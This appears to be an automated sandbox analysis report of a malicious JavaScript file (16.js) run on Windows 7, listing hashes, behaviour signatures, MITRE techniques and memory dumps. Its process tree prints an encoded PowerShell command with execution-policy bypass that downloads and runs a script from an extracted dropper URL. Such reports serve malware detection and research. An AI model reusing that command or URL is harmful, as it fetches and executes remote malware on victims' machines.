e632c7853782a7d4251f761a03037ca33e2421b2bec28d4afefb8ae516460c88

Analysis

max time kernel
122s
max time network
128s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14-10-2023 03:57

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General

Target

½ļ/16.js
Size

32KB
MD5

1b0eaa2c2511d5c5bf2fff542b172a49
SHA1

bce5600d8e4bb7353b67f52a388e56063fd1ae85
SHA256

2d16b8541eb251e09be8589e1d140a14f8392cc055d3b15936edcddad91b5923
SHA512

e2e4ac0468a3637bdcb2598444759856f547624e07a87837ed501199947dbf1435e2fef60f66d182c72159b5a06395cb5d39411b5df9f7c3a55c2c40a8fa7511
SSDEEP

384:IsDLhfkGwaE6EIWNIalL+W9zCdrnQfF+M5WHZX8thvrtVOETBFtXBRo3yhuiUhR0:XMhIzWOzQfFb5q8hfjWouiwRoz2y

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://bikexiner.lotieneconisiore.com/file1.ps1

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2740	powershell.exe
6	2740	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2836	powershell.exe
2740	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	2740	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 2836	2240	wscript.exe	28
PID 2240 wrote to memory of 2836	2240	wscript.exe	28
PID 2240 wrote to memory of 2836	2240	wscript.exe	28
PID 2836 wrote to memory of 2740	2836	powershell.exe	30
PID 2836 wrote to memory of 2740	2836	powershell.exe	30
PID 2836 wrote to memory of 2740	2836	powershell.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\½ļ\16.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" PowersheLL -eP byPASs -EnC SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGkAawBlAHgAaQBuAGUAcgAuAGwAbwB0AGkAZQBuAGUAYwBvAG4AaQBzAGkAbwByAGUALgBjAG8AbQAvAGYAaQBsAGUAMQAuAHAAcwAxACIAKQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eP byPASs -EnC SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGkAawBlAHgAaQBuAGUAcgAuAGwAbwB0AGkAZQBuAGUAYwBvAG4AaQBzAGkAbwByAGUALgBjAG8AbQAvAGYAaQBsAGUAMQAuAHAAcwAxACIAKQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
fd35708ef8c43c48276378a16562d439

SHA1
372c10bf593d7cad8f2faf9eca3404e41a6b23a2

SHA256
a3437a6e90f9a18c712f4a3aac95dd060eaa948a13b1d5b29d13ebed08699f7b

SHA512
cc6fd48fc54ba04b0052ca6d19e1e7005f5c2e04c0a10324fe634097f89b3d19ec7303789645bed8ad3b449edea6029193338ab967d67676d71aea437bd71ac4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SNGXC9TSJXLOET5RXJ1R.temp

Filesize
7KB

MD5
fd35708ef8c43c48276378a16562d439

SHA1
372c10bf593d7cad8f2faf9eca3404e41a6b23a2

SHA256
a3437a6e90f9a18c712f4a3aac95dd060eaa948a13b1d5b29d13ebed08699f7b

SHA512
cc6fd48fc54ba04b0052ca6d19e1e7005f5c2e04c0a10324fe634097f89b3d19ec7303789645bed8ad3b449edea6029193338ab967d67676d71aea437bd71ac4

Download Submit
memory/2740-21-0x0000000002380000-0x0000000002400000-memory.dmp

Filesize
512KB

Download
memory/2740-23-0x0000000002380000-0x0000000002400000-memory.dmp

Filesize
512KB

Download
memory/2740-25-0x0000000002380000-0x0000000002400000-memory.dmp

Filesize
512KB

Download
memory/2740-24-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2740-22-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2740-20-0x0000000002380000-0x0000000002400000-memory.dmp

Filesize
512KB

Download
memory/2740-19-0x0000000002380000-0x0000000002400000-memory.dmp

Filesize
512KB

Download
memory/2740-18-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-6-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download
memory/2836-7-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-5-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2836-12-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

Download
memory/2836-11-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-8-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-10-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

Download
memory/2836-9-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

Download
memory/2836-26-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download